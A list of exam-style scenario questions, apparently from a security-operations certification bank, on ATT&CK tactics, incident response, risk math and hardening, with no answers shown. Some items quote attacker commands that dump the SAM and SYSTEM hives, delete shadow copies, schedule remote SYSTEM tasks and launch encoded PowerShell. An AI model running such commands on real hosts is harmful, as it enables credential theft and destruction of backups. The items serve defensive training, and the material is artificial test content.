scenario questions

A CCOA analyst is reviewing a memory image from a compromised Windows host. The analyst needs to identify evidence of process injection and persistence that may not appear in the file system. Which two artifacts should the analyst prioritize examining? (Choose two.)

A red team member uses the Windows Management Instrumentation (WMI) command-line utility to create a new process on a remote host, specifying credentials of a compromised domain user. Which tactic does this activity primarily illustrate?

You are configuring a Splunk Enterprise Security notable event action. Which setting ensures the notable event remains in the 'In Progress' state until a specific analyst manually updates the status?

When designing a defense-in-depth strategy, which layer should be addressed first as the primary boundary between internal and external networks?

When performing containment of a compromised endpoint in CrowdStrike Falcon, which feature should you use to prevent the adversary from using the machine to move laterally while still allowing incident responders to pull memory dumps?

You need to identify unauthorized modifications to system binaries on a Red Hat Enterprise Linux server. Which tool is best suited for this integrity verification?

Which tactic is associated with 'T1537 Transfer Data to Cloud Account'?

What is the primary goal of the 'Command and Control' (C2) tactic?

Which THREE types of network logs are most effective for identifying a data breach?

You are investigating a suspicious login in Okta. Which log field should be analyzed to determine if the session originated from an anonymized VPN or Tor exit node?

A retail company stores payment card data in a database on a Linux server. The security team must ensure that the database files themselves are protected if the underlying storage is physically stolen or a disk image is copied. Which control best addresses this specific threat?

You suspect an adversary is performing 'T1005 Data from Local System'. Which of these actions is relevant?

A multinational retailer is expanding into a new country and must comply with that country's data protection law, which requires personal data of citizens to remain within national borders. The security team is asked to recommend an architecture that satisfies this requirement while still allowing the global analytics team to process aggregated, non-personal data. Which approach BEST meets these constraints?

A healthcare organization must comply with regulations requiring that patient records remain available during a ransomware incident. The CIO asks which principle of the CIA triad is most directly addressed by maintaining immutable offline backups. Which principle applies?

During incident response, an analyst observes that an attacker used 'reg save HKLM\SAM C:\temp\sam.hiv' and 'reg save HKLM\SYSTEM C:\temp\system.hiv' on a compromised host. The analyst then sees the files being exfiltrated. Which MITRE ATT&CK tactic is the attacker primarily performing with the 'reg save' commands?

A CCOA analyst is reviewing a suspected credential-stuffing incident against the organization's customer portal. The web server logs show thousands of POST requests to /login with varying usernames but originating from a rotating set of source IPs. The analyst needs to determine whether the activity is a distributed brute-force attack or normal user behavior. Which data source would BEST provide the authoritative evidence of failed authentication attempts across all application instances?

An analyst is assessing the 'Availability' of a database. Which scenario represents a threat to availability?

A security analyst is conducting a risk assessment for a new cloud-based CRM system. The analyst must identify TWO qualitative risk assessment techniques that can be used to prioritize risks based on expert judgment and descriptive scales. (Choose two.)

What is the function of the 'netstat' command in a Windows environment?

A CCOA analyst is reviewing the security posture of an organization's public cloud tenancy. The team wants to reduce the risk of credential-based attacks against the cloud management plane. Which two measures most directly strengthen identity protection for administrative access? (Choose two.)

You are assessing an attacker's use of 'T1203 Exploitation for Client Execution'. What does this imply?

A threat hunter is reviewing logs from a workstation and finds evidence of an adversary attempting to impair defenses before deploying ransomware. Which TWO of the following observed actions are Defense Evasion techniques? (Choose two.)

A security analyst is quantifying risk for a new e-commerce platform. The asset value is $500,000, the exposure factor for a successful DDoS attack is 20%, and the annualized rate of occurrence is 3. What is the annualized loss expectancy (ALE)?

You are investigating a suspected data exfiltration incident. You need to analyze network traffic captured in a PCAP file. Which tool is the industry standard for performing deep packet inspection and protocol analysis during this investigation?

A security analyst notices that an attacker has established persistence on a compromised host by creating a new Windows service. The service is configured to run a malicious executable at system startup. Which MITRE ATT&CK technique does this represent?

Which TWO of the following are examples of 'Discovery' techniques?

You are tasked with securing a database connection. Which technology is best for ensuring data in transit is encrypted?

You are investigating a breach where the attacker used 'T1555 Credentials from Password Stores'. Where would they look?

You are analyzing a PCAP file and see numerous 'ICMP Echo Request' packets with unusually large payloads. What is this likely indicative of?

You are configuring an Endpoint Security policy to harden Windows 10 devices. Which TWO of the following settings are recommended as best practice to mitigate physical access risks?

You observe that a specific Windows service is running as 'SYSTEM' but is vulnerable to DLL hijacking. What is the most effective way to harden this service without disabling it?

A SIEM alert indicates a 'Golden Ticket' attack. What is the primary indicator of this attack in the logs?

A software company operates a continuous integration pipeline where developers can push code directly to production branches. A recent post-incident review found that a single compromised developer credential allowed malicious code to reach customers. Which change to the pipeline's control environment MOST directly reduces this specific risk?

During an incident response engagement, an analyst finds that an attacker used a signed, legitimate remote monitoring and management (RMM) tool to maintain access on several endpoints. The tool's binary was already installed by the IT department for administrative purposes. Which ATT&CK technique BEST describes the attacker's action of using this existing, signed tool to avoid detection?

You are investigating a network segment using a protocol analyzer. You see traffic with the RST flag set. What does this typically signify?

A security operations center (SOC) analyst is reviewing logs from a Windows server and notices Event ID 4625 (An account failed to log on) occurring repeatedly for the same user account from a single source IP within a short time frame. Which type of attack does this pattern most likely indicate?

You are implementing threat hunting for 'T1562 Impair Defenses'. Which activity are you searching for?

A security operations center (SOC) analyst is triaging a potential endpoint compromise. The EDR console shows a suspicious process created by a Microsoft Word document that spawned a child process of 'powershell.exe' with the arguments '-nop -w hidden -enc JABjAGwAaQBlAG4AdA...'. The parent process has since exited. Which detection technique would best confirm whether this activity represents a true positive?

A security analyst is investigating a suspected insider threat. The analyst has collected volatile data from a suspect's workstation, including running processes, network connections, and logged-in users. Which of the following should the analyst do NEXT to maintain the integrity of the evidence for potential legal proceedings?

A security operations analyst is implementing a new endpoint detection and response (EDR) solution. The analyst must ensure that the EDR agent cannot be disabled by local administrators on endpoints. Which of the following is the MOST effective control to prevent tampering with the EDR agent?

A security operations analyst is reviewing a packet capture and notices a large volume of TCP SYN packets sent to many different destination ports on a single internal host, with no corresponding SYN-ACK responses. The analyst wants to determine the intent of this traffic. Which type of activity does this pattern most likely represent?

A retail bank's security team is classifying a new customer-facing mobile application. The application stores no cardholder data but processes internal marketing statistics. The team must decide whether to apply the same security controls as the core banking platform or a lighter control set. Which activity should occur FIRST to make this decision defensible?

A security operations center (SOC) analyst is reviewing firewall logs and notices that a workstation is making repeated connections to a known malicious IP address on port 443. The analyst wants to quickly identify the process responsible for these connections on the Windows workstation. Which of the following tools should the analyst use?

Which TWO of the following are considered 'Technical' controls?

You are auditing your cloud environment for 'Shadow IT'. Which TWO of the following methods are effective for identifying unauthorized assets?

A security analyst is reviewing a packet capture of an internal host that appears to be communicating with an external server. The analyst observes that the TCP three-way handshake completes successfully, but the session then becomes idle for approximately 30 seconds before a small application-layer message is sent. This pattern repeats consistently. Which type of malicious activity is most consistent with this behavior?

A security analyst is examining a compromised host and observes the following activities: (1) a new local administrator account was created, (2) the Windows Security event log was cleared, (3) a tool was run to dump credentials from memory, and (4) a firewall rule was added to allow inbound traffic on port 4444. Which TWO of these activities are classified under the Credential Access tactic? (Choose two.)

Which protocol is most appropriate for secure remote management of network infrastructure devices?

You are reviewing a Purple Team exercise involving 'T1003 OS Credential Dumping'. What is the most reliable way to detect credential dumping via LSASS process access?

A security analyst is reviewing the configuration of a Windows file server that stores personnel records. The analyst wants to verify that only members of the HR group can read the payroll folder and that all other authenticated users are explicitly denied access. Which type of access control model is being applied when permissions are assigned directly to named users and groups on each file and folder?

A CCOA analyst is assessing the risk of a third-party SaaS provider that will process sensitive customer data. The provider's SOC 2 Type II report shows no exceptions, but the provider will not allow on-site audits. Which action should the analyst take to best address the residual risk?

In the context of the NIST Incident Response lifecycle, which phase involves the root cause analysis and the documentation of lessons learned?

You see a process performing DNS queries for unusually long subdomains. Which tactic is the adversary likely exercising?

During incident response, an analyst observes that an adversary used 'net use \\fileserver\share$ /user:DOMAIN\svc_backup' followed shortly by 'schtasks /create /s fileserver /ru SYSTEM /tn UpdateCheck /tr C:\Windows\Temp\upd.exe'. The analyst already confirmed the initial host was compromised via phishing. Which tactic does the 'net use' command most directly represent in this sequence?

Which technique is most effective for an adversary to perform 'T1078 Valid Accounts'?

An analyst is reviewing a security incident and needs to determine the order of events. The analyst has collected logs from various sources with different timestamp formats and time zones. Which action should the analyst take first to ensure an accurate timeline?

Which TWO of the following are essential components of a secure network design for a segmented corporate network?

While analyzing an EDR alert, you observe a process modifying 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run'. What is the primary adversary objective at this stage?

Which TWO of the following are core components of the CIA Triad?

A CCOA analyst is configuring centralized logging for a fleet of Linux servers that host sensitive customer data. The organization must ensure that authentication events and privilege escalation attempts are captured for security monitoring and compliance. Which two log sources should the analyst prioritize to detect unauthorized access and privilege escalation attempts? (Choose two.)

Which TWO sources are used to populate threat intelligence feeds for incident detection?

What is the purpose of 'T1027 Obfuscated Files or Information'?

You are investigating an EDR alert showing suspicious PowerShell execution. You need to identify the parent process that spawned the malicious script. Which tool or view would best allow you to visualize this process tree?

A security analyst is investigating a suspected data breach and needs to determine if sensitive data was exfiltrated. The analyst has access to full packet capture (PCAP) data from the network perimeter. Which technique would be most effective for identifying large outbound data transfers?

Which TWO of the following are considered 'Credential Access' techniques?

A security operations center (SOC) analyst is reviewing the organization's risk management process. The analyst notes that the organization has a low risk appetite for data breaches involving customer PII. Which risk response is most appropriate when the cost of implementing a control is less than the potential loss?

Which TWO of the following are common indicators of a compromised system found during host-based log analysis?

Which of these is a typical 'Lateral Movement' technique?

During a triage process, you need to identify the process tree of a suspicious PowerShell execution on a Windows host using Sysmon. Which Event ID should you filter for?

During a suspected data exfiltration incident, a CCOA analyst observes that a workstation is sending DNS queries for subdomains such as 'a1b2c3d4e5.exfil.example.com'. The queries are small and occur at irregular intervals. The analyst wants to confirm DNS tunneling rather than normal DNS resolution. Which characteristic of the DNS traffic would MOST reliably indicate tunneling?

You are implementing ISO 27001 Annex A controls. Which control category would contain requirements for physical access to the server room?

A CCOA analyst is reviewing the organization's cybersecurity policy framework. The analyst needs to identify the document that provides high-level direction and states the organization's commitment to cybersecurity, but does not include detailed procedures or technical configurations. Which type of document should the analyst reference?

During an investigation, you discover a malicious cron job on a Linux server. Which directory is the primary location for user-specific cron tasks?

Which THREE of the following are common 'Impact' techniques?

A CCOA analyst is reviewing the security posture of a web server that hosts a public-facing application. The analyst discovers that the server has unnecessary services running, including Telnet and FTP. Which of the following actions should the analyst recommend FIRST to reduce the attack surface?

A security operations analyst is onboarding a new subsidiary and must inventory its assets before applying controls. The subsidiary has a mix of physical servers, virtual machines, and cloud instances, and the analyst needs an authoritative record of what exists, who owns each asset, and how it is classified. Which action is the FIRST step in establishing this asset inventory?

A CCOA analyst is evaluating a zero trust architecture for a hybrid environment. The organization wants to ensure that every access request is authenticated and authorized based on multiple signals before a session is established. Which core zero trust principle does this requirement embody?

An adversary uses 'vssadmin.exe delete shadows /all /quiet' during an attack. Which tactic is this technique categorized under?

A company is deploying a new web application and wants to ensure that it is protected against SQL injection attacks. The application uses a backend database. Which of the following is the MOST effective mitigation to prevent SQL injection?

A CISO asks for a list of indicators that should be monitored in the SIEM to detect potential account takeover attempts. Which THREE indicators are most relevant?

What is the primary function of a 'C2 Beacon'?

Which TWO of the following behaviors are typical of 'Lateral Movement'?

Which document outlines the formal commitment of top management to support information security objectives?

You are hardening a virtual machine's security. Which action is the most effective way to prevent VM escape attacks?

Which THREE types of data are typically found in a full forensic disk image?

Your vulnerability management program requires prioritizing fixes based on exploitability. Which THREE of the following factors should be included in your risk score?

In a Linux system, which tool is used to identify open network connections and the specific process ID (PID) associated with them?

Which TWO of the following are essential components of an effective Incident Response Plan (IRP)?

A security analyst is reviewing alerts on a server and observes the following behaviors: (1) a scheduled task was created to run a script at startup, (2) a new local administrator account was created, and (3) the host file was modified to redirect a security vendor domain. Which TWO of these behaviors are most consistent with the Persistence tactic? (Choose two.)

You have identified a rogue DHCP server on your network. Which switch feature should be implemented to prevent this in the future?

Which TWO of the following are primary security controls for securing virtual machines in a production environment?

A threat hunter is analyzing endpoint telemetry and notices a process that has established a network connection to an external IP address. The process is running from a temporary directory, has no digital signature, and its parent process is a known vulnerable service. Which of the following techniques is MOST consistent with this behavior?

When analyzing a virtual machine's security, you note it is using a 'Bridged' network adapter. What is the primary security implication of this configuration?

When setting up a new security monitoring tool, you need to define 'Critical Assets'. Which criteria should NOT be used to determine asset criticality?

During incident response for a suspected data exfiltration, the team captures full packet data at the perimeter. The CCOA analyst needs to determine whether large outbound transfers occurred over an encrypted channel that cannot be inspected. Which network flow artifact should the analyst use to identify the volume and duration of the transfers while preserving the ability to correlate with other logs?

A security operations team is implementing a new endpoint detection and response (EDR) solution. They need to ensure that the EDR agent has the necessary visibility to detect malicious activity and that the collected data is protected. Which TWO of the following actions are MOST critical to achieve these goals? (Choose two.)

A financial analyst is evaluating a new trading platform. The platform provider claims that their system has a 'high' level of confidentiality, integrity, and availability. The analyst needs to determine the potential impact if the system were compromised. Which term best describes the potential loss or harm that could occur if a threat exploits a vulnerability?

A CCOA analyst is mapping an identified risk to the organization's risk response strategy. The risk is a legacy internal payroll application that cannot be patched; the business unit has decided to keep running it because replacement would cost more than the potential loss, and management has signed a formal acceptance memo. Which risk response has been applied?

A security analyst is examining a suspicious PowerShell script that was executed on a Windows endpoint. The script appears to download and execute a payload from a remote server. Which of the following PowerShell features is MOST likely being abused to obfuscate the malicious code?

A security operations center (SOC) analyst is investigating a suspected breach. The attacker used PowerShell to download and execute a payload in memory, leaving minimal disk artifacts. The analyst needs to reconstruct the attack by examining Windows event logs. Which Windows event log source should the analyst prioritize to find PowerShell script block logging and module logging details?

You are investigating a potential credential harvesting site. Which tool is best suited to safely inspect the site without triggering a potential infection?

A financial services firm is updating its risk management program and wants to strengthen how it treats risks that fall outside its risk appetite. The board has asked which activities are core components of a formal risk treatment process. (Choose two.)

You are reviewing a cloud architecture against the NIST 800-53 control catalog. Which control family would you reference for incidents involving unauthorized data exfiltration?

You are configuring Microsoft Defender for Endpoint. Which feature is most effective against 'T1566 Phishing'?

Which TWO tools are commonly used for memory forensic analysis?

You are auditing an environment for 'T1083 File and Directory Discovery'. Which log source provides the most visibility into this activity?

You are managing an incident where an adversary is utilizing a 'Living off the Land' (LotL) technique. Which log source is most critical to detect this activity?

A manufacturing company is building a hardened baseline for its industrial control system (ICS) engineering workstations, which run Windows and connect to programmable logic controllers on the plant floor. The security team must reduce the attack surface without disrupting production. Which two controls are most appropriate to include in the baseline for these workstations? (Choose two.)

You are troubleshooting a Windows Server service that refuses to start due to a permission issue. Which tool allows you to audit the effective permissions of the service account against the executable file?

Which THREE of the following are standard best practices for securing cloud infrastructure?

A security analyst is reviewing firewall logs and sees that an internal web server is making DNS queries to an external IP address that is not a known DNS resolver. The queries are for random-looking subdomains of a domain with no reputation. The volume of queries is high and consistent. The analyst suspects DNS tunneling for command and control. Which technology would best detect this activity by analyzing DNS query patterns and payload characteristics?

While investigating an incident in Google Workspace, you notice suspicious file sharing. Which log type should be queried to see which files were shared externally by a specific user?

Which THREE techniques do attackers use to maintain persistence on a Windows host?

A security operations centre analyst reviewing endpoint telemetry sees a process named 'rundll32.exe' executing with the command line 'rundll32.exe C:\Users\Public\upd.dat,Start'. The DLL was written to the Public folder minutes earlier by a macro-enabled document. The analyst must map this behaviour to the most appropriate MITRE ATT&CK technique. Which technique best fits this activity?

A security operations analyst is reviewing the hardening posture of a fleet of Windows Server 2022 hosts that run a custom line-of-business application requiring the legacy SMBv1 dialect for backward compatibility with an old vendor appliance. Leadership has approved a time-boxed exception but wants compensating controls. Which action BEST reduces the attack surface while honoring the approved exception?

A cloud operations team manages thousands of container workloads in Kubernetes. The CISO wants to reduce the risk that a compromised container image introduces vulnerabilities into production. The team already scans images in the CI pipeline before deployment. Which additional control most directly addresses the risk of images being replaced or tampered with after scanning but before running?

A CCOA analyst is triaging an alert from the SIEM indicating that a user account was added to the Domain Admins group outside of a change window. The analyst needs to determine whether this is a malicious privilege escalation or an authorized administrative action. Which immediate step BEST supports this determination?

Which security framework is most commonly used by US federal agencies to manage security controls?

A company is migrating its on-premises workloads to a hybrid cloud environment. The security team must ensure that data stored in the cloud object storage service is encrypted at rest and that the encryption keys are managed by the organization, not the cloud provider. The team also needs the ability to revoke access to the keys immediately if a compromise is suspected. Which key management approach should the team implement?

A CCOA analyst is reviewing the organization's risk appetite statement, which states the company will accept no more than $500,000 in annualized loss expectancy (ALE) from any single risk. A newly identified risk has a single loss expectancy (SLE) of $250,000 and an annualized rate of occurrence (ARO) of 4. What is the ALE, and what should the analyst conclude?

You need to ensure that all endpoints in your organization have the 'CrowdStrike Falcon' agent running and are reporting correctly. Which dashboard should you use?

A CCOA analyst is triaging an alert about a workstation that repeatedly contacts a known malicious IP address. The analyst wants to quickly block further communication from that host while preserving volatile evidence for later analysis. Which action best meets both goals?

A financial institution's SOC is investigating a suspected data exfiltration incident. The team has collected network flow data, proxy logs, and endpoint logs. Which two of the following indicators are MOST indicative of data exfiltration over a covert channel? (Choose two.)

An analyst observes an adversary using 'reg save HKLM\SAM sam.hive' and 'reg save HKLM\SYSTEM system.hive' on a compromised workstation. The files are then compressed and moved to a staging directory. Which MITRE ATT&CK tactic does this activity represent?

You are the cybersecurity operations analyst for a hospital network. A workstation in the radiology department was compromised and used to pivot to the PACS image archive. During the post-incident review, the CISO asks which control would have most directly limited the attacker's ability to move laterally from the workstation to the archive server. Which of the following should you recommend?

You are auditing a web application server. You discover it is running with high privileges. What is the standard security practice to mitigate this risk?

You are performing a vulnerability assessment on a server. Which TWO of the following indicators would suggest an asset is part of the 'Critical' category?

A CCOA analyst is investigating a malware incident on a Windows 10 endpoint. The analyst needs to determine the persistence mechanism used by the malware to survive reboots. Which Windows artifact should the analyst examine first to identify programs configured to run automatically at user logon?

You are performing STRIDE threat modeling on a new web application. A developer asks how to mitigate a 'Tampering' threat identified during the design phase. Which control is most effective?

A security operations center is reviewing its endpoint detection and response (EDR) coverage. The team wants to ensure that the EDR solution can detect and respond to threats that use fileless techniques and living-off-the-land binaries (LOLBins). Which two capabilities are most critical for the EDR to provide this coverage? (Choose two.)

You are performing a quantitative risk assessment. The SLE (Single Loss Expectancy) is $10,000, and the ARO (Annualized Rate of Occurrence) is 0.5. What is the ALE (Annualized Loss Expectancy)?

You are conducting an asset inventory and discover a device communicating with a known malicious IP address. The device is a corporate laptop. What is the most immediate, effective containment action?

Which type of evidence is collected to prove that a specific individual was responsible for an action on a system?

Which of the following activities is best categorized as an 'eradication' step in the incident response lifecycle?

A SOC analyst is investigating a potential data exfiltration incident. Network logs show a large volume of outbound traffic from an internal server to an external IP address over port 53. The analyst suspects DNS tunneling. Which of the following techniques would BEST confirm this suspicion?

A security operations center (SOC) analyst notices that an attacker has been using the 'at' command to schedule a job that runs a reverse shell every day at 9 AM on a compromised Linux server. Which MITRE ATT&CK tactic does this activity represent?

Which TWO of the following are examples of good asset inventory management practices?

An adversary has gained access to a workstation and is attempting to escalate privileges. Which TWO of the following actions are examples of the Privilege Escalation tactic in MITRE ATT&CK? (Choose two.)

You are tasked with hardening an endpoint using the CIS Benchmark for Windows 10. You need to ensure that the 'Local Account Password Complexity' is enforced. Which GPO path should you navigate to?

A security analyst reviewing endpoint telemetry notices that shortly after a user opened a malicious email attachment, a process named 'outlook.exe' spawned 'powershell.exe' with an encoded command line. The encoded command decoded to a script that downloaded a payload from an external IP address. Which MITRE ATT&CK tactic best describes the initial spawning of PowerShell from Outlook?

During a Microsoft Sentinel incident investigation, you notice that a specific alert triggered by a custom analytic rule is creating too many false positives due to a noisy service account. You want to exclude this account without disabling the entire rule. What is the most effective approach?

A CCOA analyst is asked to explain the difference between a vulnerability, a threat, and a risk during a security awareness session. A server is missing a critical patch, a known ransomware group actively targets that flaw, and the server stores regulated data. Which statement correctly describes the relationship?

A security analyst is mapping organizational assets to the NIST Cybersecurity Framework. Which category is specifically responsible for maintaining the resilience of critical infrastructure?

A phishing simulation resulted in a user clicking a link. What is the next logical step in the incident response process?

You are reviewing logs in Splunk and identify a suspicious process spawning 'cmd.exe' from 'wsmprovhost.exe'. Which MITRE ATT&CK tactic does this behavior most directly align with?

An analyst notices that a process on a finance workstation is repeatedly writing compressed archives to a hidden directory and then uploading them to an external IP address during non-business hours. No user is logged in interactively at the time. Which adversarial tactic does this activity most directly represent?

A SOC analyst notices a scheduled task named 'MicrosoftEdgeUpdateTaskMachineUA' running a binary in C:\Users\Public\ that calls back to an external IP every 15 minutes. The task was created at 03:14, outside of the normal patch window. Under which MITRE ATT&CK tactic is this activity best categorized?

You are using an ELK Stack (Elasticsearch, Logstash, Kibana) for incident response. You have identified a time-based spike in traffic. What is the most efficient way to query for the top 10 unique source IP addresses for a specific destination over the last hour using Kibana Discover?

A healthcare organization's incident response team is investigating a breach involving a compromised web server that may have exposed patient data. The team must determine the scope of the data exposure. Which of the following actions should be performed FIRST to preserve evidence while enabling analysis?

An analyst detects that an adversary used the PsExec utility to copy a service binary to a remote host and create a temporary Windows service that executed the binary as SYSTEM. The analyst must classify this behaviour. Which MITRE ATT&CK technique does this activity represent?

A security analyst is triaging an alert about an unauthorized login from an unusual country. What is the first priority in the response workflow?

Which THREE items are typically included in a formal Risk Register?

After an incident, you need to preserve the volatile memory of a compromised machine. What is the correct order of operations according to the Order of Volatility?

Which THREE of the following are common steps in performing a security audit of a Linux system?

A CCOA analyst is reviewing the organization's residual risk position after implementing a new endpoint detection and response (EDR) tool. The original inherent risk score was 16 (high), and the control effectiveness assessment reduces it to a residual score of 6 (medium). The risk owner asks whether the risk can now be closed in the register. What is the most appropriate response?

A security operations analyst at a hospital is reviewing the risk register. A threat has been identified that could exploit a vulnerability in a legacy MRI machine's embedded OS, but the machine cannot be patched because the vendor no longer supports it. The CIO decides to accept the risk and document it. Which risk response strategy has been applied?

A security administrator is configuring a Linux web server to run as a non-privileged user. The server needs to bind to TCP port 80. Which capability should be assigned to the web server binary to allow binding to a privileged port without running as root?

An organization's risk register shows a customer database risk with an annualized loss expectancy of $240,000. A proposed data loss prevention and encryption program costs $90,000 per year and is expected to reduce annualized loss expectancy to $60,000. The CFO asks whether the investment is justified on a purely quantitative basis. What should the analyst report?

During an incident, an analyst finds that an adversary used a legitimate remote monitoring and management (RMM) tool already installed in the environment to execute commands, then deleted the tool's logs and renamed the executable to match a system process. Which adversarial tactic is most clearly being used to avoid detection and prolong the intrusion?

A security administrator is implementing a new access control system. The administrator wants to ensure that users are granted the minimum level of access necessary to perform their job functions. Which principle is being applied?

Which TWO of the following are true regarding the use of hashing in digital forensics?

Which THREE steps are part of the 'Preparation' phase of incident response?

Which THREE of the following are examples of 'Access Control' implementations?

A multinational retailer must comply with a regulation requiring that personal data of European customers not be transferred to countries lacking an adequate level of data protection. The security team is asked to identify the primary principle that governs this restriction. Which principle applies?

A security analyst is performing a qualitative risk assessment for a new cloud-based customer portal. The CISO wants risk ratings that reflect both the likelihood of a threat event and the severity of its impact, using a consistent descriptive scale. Which TWO techniques should the analyst use to produce these ratings? (Choose two.)

During threat hunting, an analyst sees a workstation authenticate to multiple servers using a single NTLM authentication event that is relayed to a different host within seconds. The workstation account is not the user's account, and the target servers log successful logons with the workstation's machine account. Which adversarial tactic is best supported by this evidence?

During an internal audit, a CCOA analyst finds that the organization's data classification policy labels customer PII as 'Confidential' and requires AES-256 encryption at rest, but the backup team stores nightly database dumps on unencrypted LTO-9 tapes in a third-party vault. Which risk response strategy is the organization currently exhibiting with respect to the tape backups?

A security operations center (SOC) is implementing a new SIEM and needs to ensure that log data from various sources is normalized for effective correlation. Which TWO of the following are key considerations when normalizing log data? (Choose two.)

Which THREE of the following are 'Command and Control' techniques?

A CCOA analyst is preparing to acquire volatile data from a compromised Windows system before shutting it down. Which two types of data should be collected first because they will be lost upon shutdown? (Choose two.)

You are configuring a 'Watchlist' in Sentinel to detect when a specific list of known malicious IPs interact with your environment. What is the correct method to map this watchlist to an analytics rule?

An adversary is using a living-off-the-land (LotL) binary to execute commands. Why is this preferred over a custom malware?

A healthcare organization stores electronic protected health information (ePHI) on a database server. An analyst recommends implementing AES-256 encryption at rest with keys managed by a hardware security module (HSM). Which security objective does this control primarily address?

An analyst notices that a compromised host is generating a high volume of DNS queries for domains like 'a1b2c3d4e5f6g7h8.example.com', where the subdomain appears to be a hexadecimal string. The queries are frequent and vary in length. Which MITRE ATT&CK tactic is the adversary most likely employing?

Which THREE of the following are common sources for SIEM data ingestion to assist in incident detection?

What is the primary difference between a Red Team and a Blue Team in a security simulation?

A CCOA analyst is reviewing a suspected data exfiltration incident. The analyst needs to identify the command and control (C2) channel used by malware. Which network artifact would best reveal the domain names and IP addresses contacted by the malware?

Which THREE of the following are considered 'Collection' techniques?

Which TWO elements should be included when performing threat modeling using the STRIDE methodology?

You are auditing a Linux server for persistence mechanisms. Which file is commonly used by attackers to hide malicious code that executes upon every user login?

An analyst is reviewing host telemetry to identify behaviours that map to the Defense Evasion tactic. Which two of the following observed actions should be mapped to Defense Evasion? (Choose two.)

A security operations analyst is reviewing how a critical database server is protected. The server stores customer payment data and runs on a hardened host, but the analyst notices that the database service account can read its own data files directly from the file system, and that backup images of the volume are stored unencrypted on a shared network share. Which change MOST directly reduces the risk of bulk data exposure from a stolen backup image?

What is the primary goal of the 'Eradication' phase in incident response?

A CCOA analyst is responding to an incident involving a compromised web server that is part of a load-balanced cluster. The analyst needs to preserve volatile evidence before the server is rebooted for remediation. Which TWO actions should the analyst perform to capture volatile data? (Choose two.)

A security analyst is examining a Windows event log and notices Event ID 4625 followed by Event ID 4624 with Logon Type 3 from the same source IP within a few seconds. The account used is a local administrator. What is the most likely explanation for this sequence?

A user reports they cannot access a shared drive. You find the 'Effective Access' is 'Deny'. What is the most likely cause?

A security analyst is reviewing the Incident Response Plan (IRP) and notices that it lacks a defined communication protocol for notifying external stakeholders during a breach. Which phase of the incident response lifecycle does this gap primarily affect?

In a cloud environment, you are configuring a Security Group for an EC2 instance. To allow only incoming web traffic over HTTPS from a specific subnet, which configuration is most secure?

You are utilizing the MITRE ATT&CK framework to document an incident. Which object represents the 'what' of the attack, such as the specific software or tool used?

A security operations analyst is building a data classification and handling standard for a new document management platform that stores contracts, HR records, and public marketing collateral. The analyst must define controls that apply to the highest sensitivity tier. Which TWO actions are appropriate for assets classified at the highest sensitivity level? (Choose two.)

You are investigating a suspicious process on Windows. You see it is running from 'C:\ProgramData'. Which tool allows you to check if the process signature is valid?

A security analyst is reviewing access logs and notices a user with 'Administrator' rights performing daily data entry. Which principle is being violated?

During a forensic analysis, you find a suspicious file that was renamed to look like a system file. What is the most reliable way to identify its true nature?

A CCOA analyst is performing a quantitative risk assessment for a new customer-facing API. The asset value is $500,000, the exposure factor is 40%, and the annualized rate of occurrence is 0.2. What is the annualized loss expectancy (ALE)?

A security operations center (SOC) analyst is triaging an alert indicating a potential phishing email that was delivered to several users. The analyst needs to determine if any user interacted with the malicious link. Which two data sources would be most directly useful for this determination? (Choose two.)

A financial services firm is inventorying its assets for a new risk assessment. The analyst must classify each asset by data sensitivity and business criticality. Which of the following best represents a 'Confidential' data classification for an asset in this environment?

An analyst needs to verify the hash of a downloaded binary to ensure it has not been tampered with. Which command is used on Windows PowerShell?

A financial services firm has classified its customer transaction database as 'Restricted'. The CISO wants to ensure that even if the storage array is physically stolen, the data cannot be read. Which control should be implemented to directly satisfy this requirement?

You notice a surge in outbound traffic from a workstation to a series of random external IP addresses. This suggests a potential botnet infection. What is the most appropriate forensic data to collect first?

A CCOA analyst is reviewing endpoint hardening for a Windows 10 workstation used by a developer. The developer needs to run locally compiled binaries for testing but should not be able to bypass security controls. The analyst wants to prevent unauthorized executables from running while allowing approved development tools. Which Windows feature should the analyst configure to enforce application control based on code signing and reputation?

A SOC analyst is reviewing a suspicious email reported by a user. The email contains a link to a domain that was registered two days ago. The analyst needs to perform dynamic analysis of the URL to determine if it leads to a malicious payload. Which two actions should the analyst take to safely analyze the URL and gather threat intelligence? (Choose two.)

A CCOA analyst is leading the lessons learned review after a major incident. The team wants to improve future detection and response. Which output of the lessons learned phase is most directly used to update detection capabilities?

A security analyst is conducting a qualitative risk assessment for a new cloud-based customer relationship management (CRM) system. The team wants to prioritize risks without assigning monetary values. Which TWO factors are most relevant when using a qualitative risk matrix? (Choose two.)

When performing digital forensics on a volatile memory dump, which THREE artifacts should you prioritize to identify evidence of fileless malware?

When conducting digital forensics on a volatile memory dump using the Volatility Framework, which TWO plugins would be most effective in identifying malicious kernel-mode rootkits?

During a control review, an analyst finds that a privileged service account used by a backup platform has a password that has not rotated in three years and is stored in a plaintext configuration file on a management server. The backup platform cannot support modern authentication methods. Which compensating control BEST addresses the credential risk without breaking the backup jobs?

When drafting an incident report, what is the most important element to include for the executive summary?

A security operations analyst is reviewing a risk register entry for a web application vulnerability. The entry shows a high likelihood and high impact, but the business owner has decided to accept the risk because the application is scheduled for decommissioning in two months. Which risk treatment strategy is being applied?

During an incident response engagement, an analyst must preserve volatile evidence from a compromised Windows workstation before containment. The system has been running for 36 hours and the analyst needs to capture the current state of active network connections and the processes that own them, in a form that can be used for later forensic review. Which built-in Windows utility should the analyst run first to capture this volatile data?

During an investigation, you discover that an adversary has modified the 'ImagePath' registry value for a legitimate Windows service to point to a malicious executable. The service is configured to start automatically. Which MITRE ATT&CK tactic does this technique primarily fall under?

During an incident response engagement involving a ransomware attack, the team decides to isolate the affected endpoint using an EDR solution. What is the expected behavior of the EDR tool during the 'network isolation' process?

A security operations team is designing the asset inventory for a hybrid environment that includes on-premises servers, cloud workloads, and employee-owned mobile devices. The team wants to ensure the inventory supports both vulnerability management and incident response. Which data element is MOST important to include for every asset so that responders can quickly determine ownership and escalation paths during an incident?

An analyst observes an endpoint resolving hundreds of unique subdomains under a single parent domain, each subdomain encoded as a long hexadecimal string, and the responses frequently return NXDOMAIN. The endpoint process generating these queries is a signed Office add-in. Which adversarial tactic is the endpoint most likely exhibiting?

Which of the following is considered an 'Execution' tactic in the MITRE ATT&CK framework?

A CCOA analyst is documenting the controls used to protect data at rest on a database server. The organization requires that stored data remain unreadable even if the physical disk is stolen. Which technology directly satisfies this requirement?

